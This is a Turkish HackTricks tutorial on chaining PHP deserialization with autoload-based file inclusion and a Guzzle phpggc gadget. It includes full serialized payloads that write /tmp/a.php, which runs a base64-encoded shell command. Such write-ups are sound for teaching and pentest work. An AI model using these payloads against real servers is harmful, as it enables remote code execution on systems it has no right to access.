PHP - Deserialization + Autoload Classes

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

İlk olarak, Otomatik Yükleme Sınıfları'nın ne olduğunu kontrol etmelisiniz.

PHP deserialization + spl_autoload_register + LFI/Gadget

Web uygulamasında PHP deserializasyonu bulduk, ancak phpggc içindeki gadgetlara karşı savunmasız bir kütüphane yok. Bununla birlikte, aynı konteynerde savunmasız kütüphanelere sahip farklı bir composer web uygulaması bulunuyordu. Bu nedenle, amacımız, deserializasyona karşı savunmasız olan web uygulamasının composer yükleyicisini yüklemek ve onu kullanarak deserializasyona karşı savunmasız olan kütüphaneyi bir gadget ile sömürmek.

Adımlar:

  • Bir deserializasyon buldunuz ve mevcut uygulama kodunda hiçbir gadget yok

  • Aşağıdaki gibi bir spl_autoload_register işlevini istediğiniz herhangi bir yerel .php uzantılı dosyayı yüklemek için istismar edebilirsiniz

  • Bunun için, sınıfın adı $name içinde olacak bir deserializasyonu kullanabilirsiniz. Bir seri nesnede sınıf adında "/" veya "." kullanamazsınız, ancak kod, alt çizgileri ("_") eğik çizgilere ("/") dönüştürüyor. Bu nedenle, tmp_passwd gibi bir sınıf adı /tmp/passwd.php'ye dönüştürülecek ve kod onu yüklemeye çalışacak. Bir gadget örneği şu şekilde olabilir: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Eğer bir dosya yükleme işlemi yapabilir ve .php uzantılı bir dosya yükleyebilirseniz, bu işlevselliği doğrudan kötüye kullanabilir ve zaten RCE elde edebilirsiniz.

Benim durumumda böyle bir şeyim yoktu, ancak aynı konteyner içinde başka bir composer web sayfası vardı ve bu sayfa phpggc gadget'ına karşı savunmasız bir kütüphane içeriyordu.

  • Bu diğer kütüphaneyi yüklemek için, öncelikle o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekmektedir (çünkü mevcut uygulamanın yükleyicisi diğer uygulamanın kütüphanelerine erişemez). Uygulamanın yolunu bildiğinizde, bunu çok kolay bir şekilde yapabilirsiniz: O:28:"www_frontend_vendor_autoload":0:{} (Benim durumumda, composer yükleyicisi /www/frontend/vendor/autoload.php içindeydi)

  • Şimdi, diğer uygulamanın composer yükleyicisini yüklüyoruz, bu yüzden phpggc payload'ını oluşturma zamanı geldi. Benim durumumda, Guzzle/FW1'i kullandım, bu da bana dosya sistemi içinde herhangi bir dosya yazma izni verdi.

  • NOT: Oluşturulan gadget çalışmıyordu, çalışması için phpggc'nin chain.php payload'ını değiştirdim ve sınıfların tüm özniteliklerini private'dan public'a ayarladım. Aksi takdirde, dizeden çözümlendikten sonra oluşturulan nesnelerin özniteliklerinin herhangi bir değeri olmazdı.

  • Şimdi, diğer uygulamanın composer yükleyicisini yükleme yoluna sahibiz ve çalışan bir phpggc payload'ımız var, ancak yükleyicinin gadget kullanıldığında yüklenmesi için BU İSTEKTE AYNI İŞLEMİ yapmamız gerekiyor. Bunun için, her iki nesneyi içeren bir seri hale getirilmiş dizi gönderdim:

  • Önce yükleyicinin yüklendiğini, ardından payload'ın yüklendiğini görebilirsiniz.

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Şimdi, bir dosya oluşturup yazabiliriz, ancak kullanıcı web sunucusunun içindeki herhangi bir klasöre yazamaz. Bu yüzden, payloadda görebileceğiniz gibi, bazı base64 ile PHP system çağrısı /tmp/a.php içinde oluşturulur. Ardından, diğer web uygulamasının composer yükleyicisini yüklemek için LFI olarak kullandığımız ilk tür payloadu yeniden kullanabiliriz. Sadece bunu deserialization gadget'a ekleyin:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Payload özet

  • Aynı konteynerdeki başka bir web uygulamasının composer autoload'ını yükle

  • phpggc gadget'ını yükle ve diğer web uygulamasının bir kütüphanesini kötüye kullan (deserialization açığına sahip olan başlangıç web uygulamasında herhangi bir gadget yoktu)

  • Gadget, kötü niyetli komutlar içeren bir PHP payload'uyla /tmp/a.php adlı bir dosya oluşturacak (web uygulama kullanıcısı herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)

  • Payload'ımızın son kısmı, komutları yürütecek olan oluşturulan php dosyasını yüklemek için kullanılacak

Bu deserialization'ı iki kez çağırmam gerekiyordu. Testlerimde, ilk seferinde /tmp/a.php dosyası oluşturuldu ancak yüklenmedi ve ikinci seferinde doğru şekilde yüklendi.

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated